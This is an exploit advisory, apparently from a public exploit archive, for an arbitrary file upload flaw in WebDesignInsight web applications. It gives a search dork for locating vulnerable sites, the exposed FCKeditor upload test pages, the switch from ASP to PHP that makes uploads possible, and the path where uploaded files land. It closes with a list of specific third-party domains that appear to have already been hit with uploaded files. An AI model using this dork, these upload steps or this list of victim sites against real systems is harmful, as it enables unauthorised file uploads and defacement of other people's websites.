WebDesignInsight Arbitrary File Upload Vulnerability

#Exploit Title 		: WebDesignInsight Arbitrary File Upload Vulnerability
#Author 		: DevilScreaM
#Date   		: 10/10/2013
#Category		: Web Applications
#Vendor 		: http://webdesigninsight.com

#Dork
intext:Created by WDI inurl:calendar.php

#Vulnerability  	: File Upload Vulnerability
#Tested On 		: Windows 7, Ubuntu (Mozila & Chrome)
#Greetz                 : Newbie-Security.or.id, Banjarmasin Hacker, Borneo Hacker, Muslim Hacker


File Upload

Exploit & POC

http://site-target/admin/fckeditor/editor/filemanager/connectors/uploadtest.html
http://site-target/admin/fckeditor/editor/filemanager/connectors/test.html

At "Select the "File Uploader" to use:"
Change From ASP to PHP

Result Upload

http://site-target/files/[YOURFILE].txt

Example

http://mdsweb.org/files/indonesia.txt
http://ostt.org/files/indonesia.txt
http://aabjd.org/files/indonesia.txt
http://southhampstead.org/files/indonesia.txt
http://foundjs.org/files/indonesia.txt